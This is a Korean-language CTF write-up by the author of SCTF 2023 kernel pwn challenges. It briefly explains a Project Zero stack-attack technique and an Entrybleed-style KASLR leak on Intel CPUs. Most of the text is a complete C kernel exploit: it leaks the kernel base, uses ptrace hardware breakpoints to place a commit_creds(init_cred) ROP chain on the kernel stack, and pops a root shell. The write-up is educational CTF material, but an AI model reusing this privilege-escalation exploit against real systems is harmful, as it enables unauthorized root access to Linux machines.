
SCTF 2023 커널 pwn && CVE-2023-3640
SCTF 2023 커널 pwn
여담: 광고 하나 하자면, 필자는 2024년 졸업 예정 학부생이며, 올해 가을 채용에 참여 중입니다. 연락 주시면 감사하겠습니다~
이 문제는 두 가지 포인트를 테스트하고자 했습니다.


구체적인 주소와 오프셋은 exp를 참조하시기 바랍니다. 각자 디버깅해보시길 권장합니다.
#define _GNU_SOURCE
#include <sched.h>
#include <sys/mman.h>
#include <pthread.h>
#include <semaphore.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <sys/wait.h>
#include <stddef.h>
#include <asm/user_64.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <fcntl.h>
void* map;
#define PAGE_SIZE 0x1000
pid_t hbp_pid;
unsigned long kernel_base;
unsigned long init_cred;
unsigned long commit_cred;
unsigned long pop_rdi;
unsigned long swapgs_restore_regs_and_return_to_usermode;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void teardown()
{
kill(hbp_pid,9);
}
void create_hbp(void* addr)
{
if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg), addr) == -1) {
printf("Could not create hbp! ptrace dr0: %m\n");
teardown();
exit(1);
}
if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
printf("Could not create hbp! ptrace dr7: %m\n");
teardown();
exit(1);
}
}
void hbp_raw_fire()
{
if(ptrace(PTRACE_CONT,hbp_pid,NULL,NULL) == -1)
{
printf("Failed to PTRACE_CONT: %m\n");
teardown();
exit(1);
}
}
void getRootShell(void)
{
if(getuid()) {
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
puts("\033[32m\033[1m[+] Successful to get the root. "
"Execve root shell now...\033[0m");
system("/bin/sh");
}
size_t getshelladdr = &getRootShell;
void init(unsigned cpu)
{
cpu_set_t mask;
map = mmap((void*) 0x0a000000,0x1000000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED,0,0);
switch(hbp_pid = fork())
{
case 0: //child
//pin cpu
CPU_ZERO(&mask);
CPU_SET(cpu,&mask);
sched_setaffinity(0,sizeof(mask),&mask);
ptrace(PTRACE_TRACEME,0,NULL,NULL);
raise(SIGSTOP);
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, pop_rdi;"
"mov r13, init_cred;" // start at there
"mov r12, commit_cred;"
"mov rbp, swapgs_restore_regs_and_return_to_usermode;"
"mov rbx, 0x77777777;"
"mov r11, 0x77777777;"
"mov r10, getshelladdr;"
"mov r9, user_cs;"
"mov r8, user_rflags;"
"mov rax, user_sp;"
"mov rcx, user_ss;"
"mov rdx, 0xcccccccc;"
"mov rsi, 0xa000000;"
"mov rdi, [rsi];"
);
exit(1);
case -1:
printf("fork: %m\n");
exit(1);
default: //parent. Just exit switch
break;
}
int status;
//Watch for stop:
puts("Waiting for child");
while(waitpid(hbp_pid,&status,__WALL) != hbp_pid || !WIFSTOPPED(status))
{
sched_yield();
}
puts("Setting breakpoint");
create_hbp(map);
}
int main()
{
saveStatus();
int fd = open("/dev/seven", O_RDWR);
if(fd < 0) perror("Error open");
unsigned long addr = ioctl(fd,0x5555,0xfffffe0000000000+4);
printf("0x%llx\n",addr-0x1008e00);
kernel_base = addr-0x1008e00;
init_cred = kernel_base + 0xffffffffbd64cbf8 - 0xffffffffbbc00000;
commit_cred = kernel_base + 0xffffffffbbcbb5b0 - 0xffffffffbbc00000;
pop_rdi = kernel_base + 0xffffffff81002c9d - 0xffffffff81000000;
swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xffffffff82000f01 - 0xffffffff81000000;
init(1);
hbp_raw_fire();
waitpid(hbp_pid,NULL,__WALL);
hbp_raw_fire();
waitpid(hbp_pid,NULL,__WALL);
ioctl(fd,0x6666,0xfffffe0000010f60);
}
사실 이 문제는 단순한 1day 익스플로잇 문제입니다. 기본 아이디어는 Google pj0의 이 글에서 나온 것입니다. 필자는 이를 CTF 문제로 만드는 작업을 했을 뿐이며, 개인적으로 강력하고 재미있다고 생각하는 이 익스플로잇 방법을 배우고, 한 주소에 한 바이트만 써도 getshell이 가능한 매력을 경험해보시길 바랍니다. https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html?m=1
이 문제는 커널 정보 누출 0day와 관련된 문제입니다. 하지만 의도치 않은 해결 방법이 존재했습니다 (해결한 두 팀 모두 의도치 않은 방법을 사용했습니다).
문제는 leak이 제거된 sycrop 강화판입니다. 버전이 6.2이기 때문에 per cpu entry area에 랜덤화가 추가되었습니다.
-enable-kvm과 -cpu host를 보면 물리 머신의 CPU를 사용합니다. 실제로 대부분의 경우 Intel CPU는 이 취약점의 영향을 받습니다. 자세한 내용은 1day Entrybleed 글(https://www.willsroot.io/2022/12/entrybleed.html#comment-form)을 참조하세요. 위의 스크립트를 사용하면 kaslr을 알아낼 수 있습니다.